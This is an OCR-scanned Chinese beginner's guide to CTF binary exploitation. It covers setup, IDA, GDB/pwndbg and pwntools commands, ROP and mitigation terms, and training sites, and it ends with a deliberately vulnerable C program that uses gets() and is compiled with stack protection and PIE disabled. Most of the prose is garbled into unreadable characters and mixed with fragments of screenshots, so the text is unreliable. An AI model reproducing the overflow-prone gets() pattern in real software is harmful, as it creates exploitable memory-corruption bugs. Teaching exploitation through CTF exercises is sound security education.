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AN AT SRR N2, TRV, B ENE RN S NPT
AR, SRR A 75 2N /N 7, (RTR ZAE A (big-endian) AR
(little-endian) HIMERS, REWSIX7rEA], FHREMEIMEEM, XTIX—J7HEAATR, HL
I DURZEEIH R, XENIREERSIRAN—T GHEALRSUER) g, XE
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BESR Pwn ¥ iRt i e, BAIREBEETF REEMA 2t FHERRE, BABATE
FEARAEREN “IEA”E H— AR PIE, BEINTCEREARIES, RMOAEHEFRINES
WMEET, HRIE (CEN P RIFESIHR?) MERMNEE“BE I HRATHIVIER Y, 1ELE R 5X
f SCRSIARAR AT REC A (A gmAe Eml, IXIRIER . RV T f#id Visual Basic,
JavaScript... (H2XF Pwn 223 WA, FAT /KX Linux 5% P C B,
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IEIRELREHE AR B 7, e R R B RG[% (DI L Al
KRR, HEFEON BT E, fE3E FORAVIRIED, IRORBERR 2 el Bar Rl X~
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BT CIEEMLREAREE R, KZ2H Pwn @ BEFHH CIESRE, KR2HY M TH
A F s RAE R CIES ORISR IDA # gdb”, JaE TR AR T EHIX M T
B, JEhls). IRBZEAIFS CHES, AWM, —DREBEEA, —EEd i Ery
e, —UIBIRTIRE CEERMR 753 #HEFEFFES (CPrimer Plus), PANERAE
LRETEM C 2%t (F30). man7.org (3i30), MFVEINIRTE Linux MR Nwi¥ia
T CiEE (EW FCMERERE”), MR, SMpR ST Gn] DUWEN— T,
PAK B ufi B HAA)— 50 BRI ERERZ AT LARY,  IRREATE T 202 B Uik (AR ERDIE
o

BATHATAREZZERGMES CIET (MUEBARRAFE) , IRTEEXRE C 1B LA

BoEEA . R, bREZEREL (scanf, printf, puts. strcmp. system., mmap_
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Python

T REGRE IRIAA A G R “Pwntools”), REFHEES Python &S, Python i&
BEWNAES EF, M EEREZN4E, REVDFELZSEARREGBEREM, FIR (1ist)
S8 (dict) FMAIHTE, B O7K) XA, ##EH Visual Studio Code 4w
HBANIRE Python A, (ZRNHEAREE, 4K EWREWR)

Q Tip

RERIRS THEHRARIESGBIB R G 39 BB A58, FERZVZIRE CS61A RS
R R HECE R 71553 Python, [AIFERY, GISRAEE —-EHRE, FMERRIRICE
WENEN FRFEREA RSO B R SR TRRE SRR A S, !
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GNU/Linux

Linux /& —#f B AT BRI HIZE Unix #BIERSE, W5EEH TR &, BAMHEEH
[ PC ##1ERStiEH 2 Windows, HIT MoeCTF DA A CTF LbZ&H1H) Pwn & H 2 #AE
Linux #7772 Ubuntu (— Linux &1Th) ¥EEH, N1 E/DREET Pwn B FRIREF

(FEDL RS ), BATYARTE— Linux I, #HEFEZZE—1 Ubuntu JERWLEEH
docker (FEWL N “Pwn”), W EHFENRZ, XEAERE (BEHERIIE), MRIRAEEZ
i Pwn, AB2 WSL2 tHEAWH T, FHHERY, XENIRIEE —RK WSL2 FIFAEIEE S
=, SYIRBRREXRECESEN, fE e maERARBIEIR!

Pwn

LT Linux MR JG, BFR4SHEE Pwn IME, XEF R T21ERIYE,
e CTF Wiki - Pwn Environment (F132)

NSRS LR Wiki EABHIIE, XA S — R XEA] DMENS#
o PwnifEfEE

MRILEREEZME LR, EHEHRZ1E Pwn ¥ 5HASHEINARE, BRMRZEDEH
X —FE:
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e Linux Python A% + pwntools
o HRAITMEI T T HE (40 IDA)
e Linux JHiA2s (40 GDB + pwndbg)

RICTREZIEFE 2 T H: checksec., binutils. patchelf., LibcSearcher., glibc-
all-in-one. ropper. one_gadget. seccomp-tools %%, HHHRZIREATHAZ], H
B EI 22 ety (W Bx2 Wiki X&),

—APRUER) Pwn i :

1. JH checksec FELRIFHLE] (UL F S Linux Z4H1H1”)
2. Fl patchelf &t libc, 1d % (F[}%E)

3. H IDA JiI-% S 4w 142 it s e

4. H GDB + pwndbg V&I AT IA TR

5. /i Python + pwntools 4w 5 #] FH I A

® Note

libc A1 1d 73772 Linux C SR EER B S SR. BATH CIESmEETFNEHE A —
LECM KT HIKEL (printf. scanf...), BE1HZHE libc GEE N GNU 24519
glibc) H, 1d NHFEEIRAIRF AR EL BB R, GEW N “wmiFESITR”)
Linux 244 LA A ZH 2 e

Linux /E

BER Pwn —R&AE Linux F#1E, 84223 —£E Linux shell #/F Q?J%M\;(o IRE /D R%H
cd, 1s . chmod., file., cat. grep. strings. man = : i g St

o TEIXHAM], VRUESF] Linux 5 H 2 K = AR B PR, ?&fﬁ/\ﬁX (%
1*) :

FEIFREAIUK, “shell”Z2—MITEIER, ERRERFIIRS RIS NSEH a3
fibfeFy, £ Linux HIEH 51T 5,
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T Pwn, —MREZHMLERaSIT LA Netcat (nc i), EREHKIZER Pwn @ H

TE2IM 8, Netcat 2 —PMRAKIZIREMLE TH, HAT/RAFHEAE A nc <ip>
[T o
® Note

BRI AT ERIAE S <SR >"RELFE Y, TS B A REES
B, ERRERN AR TERLERCAR] Netcat H EIR BTN ne <ip>[:3#H] .

FAMIRRIZ S SISO git FEEARER757A, F2Z git clone <urL>, HT R
BATH, (git FIZhREZ A 1ET i)

HHE syscall) ——open, read, write, mmap., execve._
ERCHASATT (file descriptor /fd) HUMES:: stdin -0, stdout -1... Tiﬂ‘]%ﬂi])i"ﬁ
FEF (BATENIZITRRER) FIRERGNIGERINTR, RFEZHITE Linux 2712
AL T2 (s, got, plt AUBES, i Eﬁ,ﬂﬁ)o

RELSIE? HRERGHITEA T, XA
o (SEHY Linux FAP53K) (OLH CentOS7 BAFIE3HF, 7%%)

Linux —VJ &2 AERAEMHESZE] Unix 22T, @ 2 fa R URTE 23 RN
[FAIBEBIX RSN

o HENAFHELHI—IR (HE)

I 15 L2

SPREFIX BN, REGFCLREH CIESWE HiaTHBEF (RIE Lmux HERE), R
A Pwn R, %@ﬂ]%\éﬁ"‘f?ﬂ NEHRR =50 &%Dﬁ%ZIKEI’J/EQIﬁ%’UO IR A LE ELF

w}ﬂ&_ﬁﬁ&%}o
Pwn BiHAY S — KE .

NTCGRIER, BATENEEHM Pwn 127 —M&Z1EE x86 CPU 55 (ASZLEIA
amd64), RFFEFS] x86 I Zwtthil, F/VWEEEE mov, lea, add., sub, xor.
call, leave., ret. cmp. jmp MZEEBkEE. push., pop. nop. —MRIGVRELLER] DA
I\ CPU 2P HIRPATIXEEER), (HHTELFHIT. 2 >KMUEROR, SERRIERERANE



https://linux.vbird.org/linux_basic/centos7/
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7% BRTICHMIES), IRFRELME x86 CPU FifEds, INHARKHABRIZTFFE (rsp.
ri P ...)o

TEM Pwn R, BRMRFRESEIEIE S EIEA shellcode (FT3REX shell BYIC4wAY) FE)
Frizdilim GEUT SO AT, IRFEERE BRI 0 2 2 anar i H ek 2, A
KNS, REEAHEHAIC amd64 System V ABI BRECH IR : 18 FH R ES U5 > S 808
WEHFFes (rdi. rsi. rdx. rex. r8. r9) fEBHEHSEERMED, 32 VARG EZET
BB SE (WGREARR) ; REIREENHTFFES (rax) B, BRTEREEE, RS
TE S syscall RS S S5ZHAMLH TR (rax ...), XSEEOAHEL, (GHE
R5|%)

BRIERS

XA T BT R EERATR T, IRARE—THE S, B2, BESN—MEFHH
Pwn A, BRIERGAXBAATBE), RRARBAMITBARMERAR, RLANHEE
T, WNRIRFA KNS, X EHONIRIER —TERIRE, R E TRk R
TERGR (BIRIZEMIEE IR R E R, AJRERFEAME, Fr DOX B A X I DU
KRR

F > ek

ST ERTFE Pwn 7o & LULRIEANARIISE 5, IRIFINAE., 2] Pwn —E A
—EH, BOFTRELLAC ML, RMSILABIEARMEAILNE, ¥ JRKEEE
IR, %R BRI, RIVERESWE, SHEIITE B
) Writeup (BEIREAD, 4 BB FMEIATAKINGE, HEEH, —~BREMEHAY, 3
o, RIEEIELVN, BREREEEL.

IDA

IDA 2 =@ KR BRI gwds, BOVBAHEME RN, 22080 MR R&12
MARBTELARSS (H nc %) BIRTHATCME, RERFRZEGEIT objdump S HAR
BN NIRRT UGS R, BB R T LB AR fF,  BIanFFIR4 4 Radare2 5%
B IDA (H#E72) . IDA REIRZAEZE C HUAIRES, BEBR T RN EFE T4,
WEFERR RIS, Pwn BRI ELER B B, — MR A FRZ R AT T2 IDA, B
FEDABOABC B TINEL, % N F5 BIaDHAT e gmie, FeAtnRASIE THE, & R HRiERE
PAR:

1. g BlALEIfaE Kt
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2. a Rl e O T8 £
3. shift + F12 fTFFAFERE O, AT DAERH TR B9 505 HRo

4. crtl + w RfFidaidEE, REIRERTAY LIRS, T —STHITRE M S A% T
—FRELAL ks,
5. x BEFENHBHIZZ X5 M,

6.

n B EEHE MBI AFR, SAREFRERSH, &AM sub_2040 HIZHRTF
£, B DARIERE PRI TRE, NFSHETICE, @m0t ryar et

7./ ERGEG USRI SRS N ER,

B2 B PR AEE DA I RE AT DOBIE i 1 3EAT 1 ks

GDB

HPATEE IDA TF TR TR MERFRIAEY, % FREUZIAIK T, JAIXRER B RATE LT
T EFRIPATIRE, AT Linux #1208 GNU HIE: gdb, EREEEEFIBITHIIE

EZA I

PATH HBYZ pwndbg XX GDB HIffF, BRZEMARINIZN 7Rk, XNF

GDB + pwndbg, FA1THEHMSELATR:

1.

2.

10.

start GDBXFHEFIIALH MR, RIEHITENIZI R,

run 5 0, 1217, SstartBIXF1E, run ZJER—EHITERFRISHREL
EWi A, BT run abc, FIPALL abc NSEIBTT,

. next 5N n, FEAMEHIFIAIK, B17 F—1718,

nexti 5N ni, ICA&HELHHIIHIL, BT F—TEL.

.step RSN s, T, ZBRRBHIR RIS NEE

stepi WE N si, P76, HBRIRBEHIREZ D NFEL

. info register ME Nir, BEYHIFFeEE,

. disassemble 54 disass, RiILZmplza il sl &7 asH Prga sk ALY+ 40

disass $rip, &=F 4H( rip {HIFES, disass 0x40112b, EFEHIHE 0x40112b &b

HIFE <o

. break H5 b, N, FILUEIT info b &E YHT FRIATERA, PAKIER b

*$rebase(<offset>) JEIIAHN R FEUIHE N s (AERAZIALOEE, Tk
start AURHEE, HIEIX DT RS

vmmap £ E 5 Bk R


https://bbs.kanxue.com/thread-266021.htm
af://n111
https://blog.csdn.net/zino00/article/details/122716412

11. checksec pwndbg H% /% T pwntools FJ—%547%>, checksec B2 HH—1, &
FE ] PAT SHERIRIP AL

12. cyclic [FIFEZ pwntools B—"1 i, BEf“AEANEENERTRE, EHTHE
Helm#, 40 cyclic 15 HE/~4: “aaaaaaaabaaaaaa”,

13. quit ®E N q, BHHHETER.

14. crtl + c HWEIARER, 20007, RIS aifEFHE] T read, FHZETET
Ra e, AT CUEN crtl + ¢ RITEREIRTT, HINIRA] IEE R
TS E . M. NAE. TARAREEIRES,

15. TAB T 2B 2,

16. as1r on/off JF/3E#&E %M ASLR (WL FX), R—IafT4E%%,

17. stack &F& HHiHRIE R,

18. x JEIX/AFTENIES, x/s FTENFRFE, x/x FTEI+7SdtlEEE, XPSEbR
%, BWBEITERERR T,

19. tele /2 pwntools 21— dn<>, vl PAE T iz eI N A N5, H2
CIRBIESHIRHEAR —E1EM, RICHRIESIER x/1 .

TE—IA I E NI, Hp—Ear<, WEFOVIRIER TR 331753,

Pwntools

LR Z BilF A S ECE LY pwntools 15? B2 — 58 K Python J&, BREBERNIE
EEFRE, BEGEFmEIIFAETmA, MFENRERENIRERNZ GER! ),
Pwntools FIEHRZSH TH, MUE—N AR THE”, %3] pwntools ~FRZMk
R, MIZAEI A 4o ZIREMITER exp GRIAFABA) 0] DUEBIR 2 75 (E1Y
pwntools fi%, RE/DFEAEQREREFEH, EfEEmA, Rl it Es
IEFEBAR B R, MIRET —L pwn @5, EENIZE —1ET B K pwntools
i, IXH NIRIERE pwntools BYH S SCRY, PAN, FRIEFEIRFS]—F pwn college H1
pwntoolstitl, JES %t pwn college IX/NFE B Wl A T IEAHAY N 4H,

X RS20 — R Al pwntools 454 pwndbg H1TIEIR, FEMIAAHIEE context,
fran =

from pwn import *

context(arch="amd64",os="1inux",log_Tlevel="debug")


https://www.cnblogs.com/murkuo/p/15965270.html
af://n153
https://pwntools-docs-zh.readthedocs.io/zh-cn/dev/fmtstr.html
https://pwn.college/pwntools~9b09c9dc/pwntools/

2GR EIRE R, XML B SR pwntools [B3)— #i&ui# l/tab/pane 1217 GDB,
i DA 2 ) LR LA 2%

#ws'l

context.terminal=["'wt.exe', 'ws1"']

#tmux

context.terminal=["tmux', 'splitw','-h"']
#konsole

context.terminal = ['konsole', '-e']

ZJETEIAHIET gdb.debug() B¢ gdb.attach(<process>) fH4f gdb, MEHIX I
%, ﬁﬁ%%}‘k%}aiﬂ$§$7 # ﬁi{j} attach %IJ GDB, WE%IEE' attach iuaﬁiﬁﬁiﬁ?i‘iﬁﬁt;
FHEALE attach ZHTEL process(<path>) JHIFERF,

Q Tip

B recv() 1 send(...) R, HEHBWIVFEWFH recvuntil(...)
sendafter(...), PARGIESAARANZEEINRE TGN, sendafter FREHIE D
28 CERE?) trEK, JUNFERRIAT GIDE T \n). Pwntools FEREIZSEL
MR [EESEANEE N bytes, EAFRFEBFHEHENMNAERTMN L b FRid (FIA0 b'T am
string' ), HHEHBCN bytes (NXAMEHEE, BEIATENFED),

Al

R, ATRHCRIE, PARTVRIREANR, T[EEEBEEFRMECTEE, sEBidERy (i
TR (MRIBURRE—ITER), BRFEERZ, YBEIRAITRNGE, 8T AR0E
ol B, BORIRWIR T, BIFERFE T, AlWUEE, HREE 7LD S
S ARG BEEEBAIEIR, 0 DeepSeek, ChatGPT, Grok %%, BAHAILRIEEN
T, ESREEIEER, (HRN T RZHMRM, MESHIR— M EMNESR, AEH
Al, BEERENIRMOEM S, HEBSRHIAMZERE, XEHAELRT 28 AL, IER—E
i8fE, AlREZ— MBI TR, Z281F A4 EFE!

AL A] DU SERB IR EARR THR 7 —DMARAERIATIR, Mokl (REYZES =i
BRI, TERSKBORRR, REZEINR, ATFRREFSIRAFR, (HERRZ SRR
WAL RN R T i — NN A S HBOX MR, AR AL BRI EHE EZMea R T,
XAFE B TIEEAE R AE LR DA EfRR), BRI OOReE I 555%, AL AL g2
TREEFIE <
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https://www.deepseek.com/
https://chatgpt.com/
https://grok.com/
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' WA FH 7715

PAURAIZEH — L2 N T8 WRIRTRAA R 771, R RS RE— S als EAHE™ %, R
WGEIT CTE Wiki SF0RE (REUL RCHEFFBERE) BUART2S] ) IXE R A S 51,
(P BRERE XS A S E )

T 18 Tl B A

o BRI —— FAHFEEGE LS 2, HHTHNERS], HHE A MERIREY 5
A L TRR, did i AR RS E ARS8 E () BN ERS
BRI DA IEE AR T, INMmsdieEsilRs A,

o REMXER —— RAMIINHE, BEidBRE B REOR [F kst Fa i
SEEEI SR AR (BSEIE rbp).

o PIFH\O &R —— C MUSFRFER DAZ T ("7 \0 midE ASCII (% 0) 44
Feo MNRBIAEH IR ANIX— it REisid s (WSt stremp)s
X R IRZ IR EZ IR,

o BRI S%FE (ROP) —— iX/2 Pwn A2 H S, HAEE rettext,
ret2libc. ret2syscall, ret2system. ret2shellcode, ret2csu. SROP ZF, Xt /2#k
ZMPXHR A FZER, #H: 18T ropper B RoPgadget & T HFHAEFH
gadgets (ROP FE%, DA ret 452) S5 Heaih X jim A i A A i AR et A 7 i
EREEPUTILEEEIT N (BF open. read. write),

o RHFN —— EFRIHMTUIRELEEEN, BT&&/EEPITIFAE, A rTRES
KB B R B,

Linux Z2 MLl

e NX (No eXecute) —— JEITRARNIAAREE N AT, itk EALESEA R Hh
17, MmZCikfE iEr A E shellcode, —f&ATAEMBE TR, AJHRER
BB BT TR 7T 1558,

o Canary —— fEAR EMAREH LR [EHIAERTIZE —PMEEIUE (canary), 18T N E
BOR[ATRTAIPAS TR ER & MR AR AR R i X i tH A GBI B RS R
¥ scanf RPfRHm ABURILF T TR560d

e ASLR/PIE —— @I BEVLE P RINTEA R (Hihk), (1S S0 i DATII AR e Y
RS, MG MERE, A IR A BRI S TS89

e RELRO —— @I RahSitRERNERmEER (GOT) EEFEIERENA
B2, B @ B A R SR T


af://n166
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o Seccomp —— —FYPFELRIFHLSI, BT DARRHIFE 7 RENS fE Y syscall,

e CFI (IBT/SHSTK) —— #=Hlimse®& L/, mIPAFHIE ROP ¥, #1il COP,
JOP ¥ihis

GLibc HHIH

o fmt_str —— %5 printf T FIAFHEEH M0 (format) ZHOVHI P HIA,
WA, TS EMEE R3S <5 H /Y,

e one_gadget — KFEFIEH BN ZE glibc F—LLRFRNI B (one_gadgets) [Fl
I 2 /D= SRR R] 52 getshell,

e Heap/ IO FILE/...—— Pwn K E1H5% ...

pwn college

X BHEE — 1S Pwn BUE BT Pwn college: https://pwn.college/

RNE— TR, XM —PHIEFZEIBKY: (University of Arizona) W4%22 25T F A FF
KW, HEAPEEFHNE N RIEEL PWN 23 a, HPEE TIRE, 5%, M4 T
AT EAR AR EFIRF S pwn FIREEFTHBSER &, #1—F19F, FIRESEI N2 TER
SLHALEWIR (Y — R RHE R ELRIXAER), B TELRHZ G, HER
g, XENRENA— NEFEBENERFAE, 5752 LN dojo (&), XE2FEEN
AL E R, Hrp s BRI TSR RHEIAZ O Getting Started H = Z 2 BUR/E
ZAERIX ARG, Linux Luminarium U2 & TR Z Linux@ZEAEIR, 2— 7 LEF
Linux AUREER GEAR DLt — 1Y challenge AEER AT Linux F B HES T3 T i,
Computing 101 FEZRZMNCRIESTHIT T — NS, Ba—1F module EE LRI S
ESTEE—ME S Web server, AZAEL 7 STRELLVRTR PR EHRIC4n 15 S B A,
Playing With Programs f&8trh, NG E T —E5BFNEH, MHRABOESH,
Program Securiy# I5ir TEATRTEAR ROP %3], #EFFRTHIPVFEMBIAITE, eikiFiz
MR T > o
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Getting Started

- p = ‘ - .
— N 1= A E=32

16 Hacking 73 Hacking A4 Hacking 34 Hacking
2 Modules 16 Modules 7 Modules 5 Modules
10 Challenges 108 Challenges 89 Challenges 266 Challenges

Core Material

73 Hacking 58 Hacking 12 Hacking 13 Hacking
7 Modules 6 Modules 6 Modules 6 Modules
182 Challenges 161 Challenges 893 Challenges 103 Challenges

pwn college (27 S HHEILTHER i, MOFEMBEATE:, I HAR ZHEHEE Bl E R
RIE, Youtube RfEF HiFH TR, BEREEHZNENE, B MHEEET
challenge, HHIRAIR, %A RV,

- 2 hacking, 2699 solves

Write and execute shellcode to read the flag, but your inputted data is filtered before execution.

o]

start ¥ 1ERTIF A — D HRIASE, 1 Practice 57T /58— root AURMIBKERINE (FCiEiRG
HIFW flag), FFax2)5, @I _E77H Workspace $57T /5 — MR % L1 VSCode i,



pulnlcollege | ¥F Dojos >~ Workspace [J Desktop ? Help ® Chat Q Search © # W~ ® .

RN R IR 20t 1% 57, /challenge B3 NiREHIH, MG /EIEEE5) R
182 flag,

TR TR
DR RS ERE, AFATHE - RIES B WA,
(RABERUSIHIRSE) —— CSAPP

(B R BERETR: B RE5E)
CTF Wiki

CTF-All-In-One
(CTF tgitam (Pwn f))

CS B #Er ——HENIEY: (Computer Science) H*FHEF,
(IDA Pro HEFEFE)

DA MR — 2R, B — A Z IR ENRE BRI

e CSE365, s&pwn collegeHE X #T AT —5 IR, K05 Al T4 pwn

R 5
e CSE466, s2pwn collegeHIEMITIRE, IREFEIEFLZ L. RRALZEFHTH
Ho

o UREZAE pwn, Buhi EEFFHEIMEEHX pwn B—DEREE, AH LRI AR
B, XSO E N,

o PRI, TAEHHEANIERA— 4R, B )3 !


af://n211
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/
https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/3.1.2_integer_overflow.html
https://csdiy.wiki/
https://www.youtube.com/watch?v=DJO1A2neZ6Y&list=PL-ymxv0nOtqqYpFVmqh9Wsfebq05pssju
https://www.youtube.com/watch?v=DJO1A2neZ6Y&list=PL-ymxv0nOtqqD1VLRpK0sS11-TJPwVYsK
http://xn--pwn()https-0l3ira0090hq4d45jrt6a141ab3r4pf1la//www.bilibili.com/video/BV1mr4y1Y7fW
https://www.icourse163.org/course/NJU-1001625001?from=searchPage&outVendor=zw_mooc_pcssjg_
af://n238

i H/ptip

28 QB

AARYEEZ G, KmPREHASENE, R — R4 5 R FE R,
EE4n docker PZHXEER, githublffSF xR, HNTEAELIRNTIETAENIZE, T
T DA WSL2 2861, RZH0H FARBRER M, 40 Clash Verge HU4EE N 124 7890, I 1E 2
PIEIE DA R an S E B AHE WSL AHY ip

ip route | grep default

ZJEIEE LN an ST E, Z/e&umml il DAPURBIREE ERIER! (R T TR
i, EFTEBNEFRHRIRE, IREEMAZ shell BaBLEXXM, RAESREIZHENE
‘)

export https_proxy="http://&iHFfip:7890"
export http_proxy="http://&ifZ|Mip:7890"

Markdown

Markdown & —Ffi2RbniciE S, ATHRERARE R, ik, BIEXAIPEEFERE
2SR EE ISR D, REEN, W5 Writeup % R Markdown, [RlHix B
F—%& Markdown ZmiE#83H174% 5, 40 Typora Al Notion 5%, T2 /GAEH 7 1{E,

GDBIAIR & Htft

SAENTAIRRII M, 2HI%I, pwndbg fIHIEEARZ, SEEENER LR
—itg, XEDARl, IXEI@EIEEML GDB AUk, K pwndbg HUH S BRI 25—
£, TERLA NIRRT


af://n238
af://n239
af://n244
af://n246

<— endbr6d

0x103e18 (__do_global_dtors_aux_fini_array_entry) —» = endbrél

mini 'HOSTTYPE=x86_64"

d «— '/mnt/d/pwn/ctf/dasctf/mini/pwn’
-1
Copyright (C) 2022 Free Software Foundation, Inc. <« endbrél
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> ©x7947d7£2f908 < 0xd0@120000000e
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying” and "show warranty" for details.
This GDB was configured as "x86_6U-linux-gnu" .
Type "show configuration” for configuration details.
For bug reporting instructions, please see:
<https: //www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http: //www.gnu.org/software/gdb/documentation/>. RIP

<— endbr6l
d «— '/mnt/d/pwn/ctf/dasctf/mini/pwn’

nd
= _ _aux_fini_: <= endbréU

0xUB3e18 (__¢

-

+= sub rsp, 6x10
For help, type "help". sub  rsp, Ox10 (Ox7+£F82ef7b80 — 0x10)
Type "apropos word" to search for commands related to "word"... OxU01267 <main+l2> lea  rax, [rip + 0xda2] 0x1402010 <« 'Now input something! Maybe
I can give you a flag!'

exUp126e <maintl9> mov  rdi, rax x102010
I can give you a flag!"

OxU01271 <main+22>  call >

"Now input something! Maybe

Reading symbols from

(No debugging symbols found in pun) 0x401276 <main+27> lea  rax, [rbp

©x4e127a <main+3l> mov  rdi, rax
Pundbg sets the SIGLARM, SIGBUS, SIGPIPE and SIGSEGV signals so they are not passed to the app; see in OxUp127d <main+34>  mov  eax, ©
an or full GDB signals configuration OxU01282 <main+39>  call
start

Temporary breakpoint 1 at xUP1287 <main+l>  lea  rax, [rbp

0xU0128b <main+ug>  lea  rdx, [rip d 0x102042 - 'YourFlag'
Tempnx‘ax‘f( breakpoint 1, ©0x0000000000401263 in main (O 0xU01292 <main+55> mov rsi, rdx

060:0000| rbp rsp

01:0008 |+008

02:0010 (+810

03:0018 |+018 <— endbrél
04:0020 (+820

05:0028 +028 ' /unt/d/pun/ctf/dasct/mini/pun

« nov edi, eax

06:0030 |+030

07:0038 |+038 TEFF82ef7 oxui74a69ed8al90a2a
-0 0x101263 main+8

1 ©x7947d7c29d9@ __libc_start_call_main+128
2 Bx7947d7c29eUd _start_main+128

3 0x101135

REE R R, A2 pwndbg FHH, IXFERMEE 2 E, BEELFRIESEY

7

AR, BAKBE, &, EEmHAMERERN%mE, EEHRT try mPE L
5, 1S2IRHE L~

/dev/pts/5

Yw’E GDB MY init SCHF, $UT vim ~/.gdbinit, HIALATRILE

set context-output /dev/pts/5

% PR, AMENX LS B = 2R 2% 1o

firea

RS TIXHEE CTF! —f%H) CTF Pwn @ H @ H#AR, . MR H R, IRFHERAY
s gt WA Fr 227 M O AR AR 7 BRI i A b getshell BNE | “flag”, FREUAHIAY
shell AR, RGBT TR RMER, REERTENGE IR TAE R
YEENAIIRBUZFERY shell!  (MoeCTF Pwn FLEfE 8, F—EFHE getshell,) FEFHE—/%
EAERHATIR, 10155EHUT chmod +x <file>,

(1) Important



af://n254

X TP CTF it QNSRARIETESE B/ WSL, BASZ0 75 = TE R P1/WSL &
ZAEIFACE wsrx, WIERAE FHIACE wsrx: 15 B o R IWLIEEM =ML (il
REVIRIIER W) o 78 wsrx 30 i/ MAS I B IR Ty 0.0.0.0 ARG TEENIIAT
ipconfig Z AN S 1P sk (B0E N ELRIVIECER NAT 73ECHY =AML, 155
I/ WSL Bt NI (F1a0 192.168..) EBEREREAE 127.0.0.1/1ocalhost,
FEREAEXMEN N REREAESIMNGEL TN ws 512 (Rd“WSRX##)  AEIGE] wsrx
F I TIERZ A RE & B0 8ER:, ERIAGIFH B EBERANE, WA A)#
EEERRHEMA,

MoeCTF @ HiZ B 52 ERINE S, mHEEmELd. (E2EZ, NFFEE Pwn
F—IEEBLREM — K (thE2 Pwn RUREBFTTEIDS ), XIRIER. WRIFREETERFRA
fedt, WRIER (& —TNE RV EN AR, KRS 2 ! BEETH
MoeCTF 2025 M, U1 SPRA R AE ZLEK B2l -

o WRtHSR
e Bugku
pwn.college (ZFFE:f)

Pwnable

CTFTime——%%Kk CTF ZEH AR,

S

(® Caution

& PREEBIH R R E LI gets &L, HIEER, X2 MREFHN, —E=7~
A TRTRR R, BATME XU N TR, ESAF R 7 IR WL E
Eo RFEMAEMT ILHK C RPN T A AEMEH gets,

— /PR B YRR SR X o

BRI —MEEMX RS, BT R— MR X iEH B2 R EMT 2, WRIRIEAHIE
I 24093E, B PUEIS CTFWiki 1T T fid,

NG x86 64 GNU/Linux

1EizfT2Hi, @It echo "flag{congratulations You get your first flag!}" >
flag fEY RIS AER— flag, H4RE FAIH pwn.c X


https://adworld.xctf.org.cn/
https://ctf.bugku.com/
https://pwn.college/
https://ctftime.org/
af://n271
af://n275
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stack-intro/

// File: pwn.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

#include <unistd.h>

void getflag()

{
int fd = open("flag", O_RDONLY);
char buf[100];
int n = read(fd, buf, sizeof(buf));
write(l, buf, n);
close(fd);

3

int main(void) {
char flag[0x8];
char buf[0x8];

puts("Now input something! Maybe I can give you a flag!");
gets(buf);
if(strcmp(flag, "YourFlag") == 0){
getflag(Q);
printf("\nI know u can do this!\n");
b

else

{
printf("\nNothing.\n");

return 0;

& MRIEN A N an it 7am 1%, ($ PONTRRTT, SERRARIA)

$ gcc -no-pie -fno-stack-protector pwn.c -o pwn



BERE AT R T — 80 pwn BRERPSXAR, 43 PRPOREE IRE — X T8 8 H HIK
i,

ik

1. JH checksec KAARY ML

$ checksec --file=pwn

PATTRHAT 2% AR e B LR AP AL

Arch: amd64

RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (0x400000)
SHSTK: Enabled

IBT: Enabled

Stripped: No

REB PR X i R4 (Stack Canary) MINIBIEF R (PIE) 1#IME XM,
2. H IDA J L4 ) i PEFZ 1t Tl

Rt HE2] IDA 1, EUATITZEF 2 Bonin Mg E


af://n283
af://n284
af://n289

® Load a new file

Load file D:'\pwn'ctfidazctf'mini'pwn as

|ELF64 for x86-64 (Executable) [elf.dll]

Binary file

Frocessor type (double—click to set)

Intel Fantium protected with MG
Intel Pantium real with MM
HetaPC {disassemble all opcodes)

W Tntal FAMN nranes=nrs

B0586p
0586
metape

Analysis
H Enabled
Loading offset  O:x0000000000000000 H Indicator enabled

Loading segment C:0000000000000000

Options

Kernmel options

Frocessor options

[ Loading options Create segments [ ] Load resources
[[1Fill sesment zaps Create FLAT sroup B Eename DLL entries
Load as code sesment Create imports segment || Marmal load

Hi T OK, # N RBATRHEA IDA 15

@ 104~ pun D

2E@9-4-'@QQ G 1Y A- T CLB% -0x9 Yo debugger
4
N

Library function B Resular funotion B Tnstruction | Data I Unexplored | External symbel M Lunina function

7] Functions o= x A Viewh 8 @ Hes Vierl Local Types ] Tnports 5l
Functi s 5 Attributes: bp- d
unction name egme
H] nitroe it 5 int _fastcall main(int argc, const char *¥argv, const char *¥envp)
7] sub_s01030 plt public main
7 e ik
[7] sub_s01080 e
7] sub_anto70 Pl var_10= byte ptr -106h
[f] sub_s0t080 ple 1= byt tr -8
(7] =ub_t01090 sle i byte ptr
A plt s .
[7] Terite Pt s 5 _unwind {
s Pl endbr6a
7| stremp Pt s push rbp
(7] gets Pl ze mov rbp, rsp
L oo e sub rsp, 10h
7| T4l relocate_static_pie tent lea rax, s ; "Now input something! Maybe I c
:rramgmer,miclms taxt mov rdi, rax S s
register_tn clo tent
[7] o clobal dtors,sun tont call  _puts
[7] Erane_duney tent lea rax, [rbp+var_10]
; getflag rest mov rdi, rax
7] mrern oros fini mov  eax, 0
7 _1ibe_start_main extern call _gets
g oo lea rax, [rbp+si]
7] “lese petinin lea rdx, s2 ; "YourFlag"
[7]-ead extern mov rsi, rdx 5 s2
i oo mov rdi, rax 5 st
e o call _strcmp
- test eax, eax
Line 24 of 34, /main Jnz short loc_4012BC
W Graph overview e x
eax, @
getflag loc_4012BC
rax, alknowUCanDoThi ; "\nI know u can rax, aNothing ; "\nNothing."
rdi, rax ;s rdi, rax s
100.00% (-252, €1) (362,1) 00001258 0000000000401255: main (Synchronized with Hex View-1)

Beports

Output

o8 x

Function argument information has been propagated
The initial autoanalysis has been finished
[Patching] Loaded v8.2.6 - (c) Markus Gaasedelen - 2024

Python 3.11.9 (tags/v3.11.9:deS4cfs, Apr 2 2024, 10:12:12) [MSC v.1938 64 bit (AMD64)]
TDAPython 64-bit v8.1.6 (c) The IDAPython Team <idapythonggooglegroups.com>

[hrt] turn on FunctionsToggleSync

Python

AU: idle  Down Disk: 24568

S T RERE FS B TAB BT 4%, HEAZID9 RS



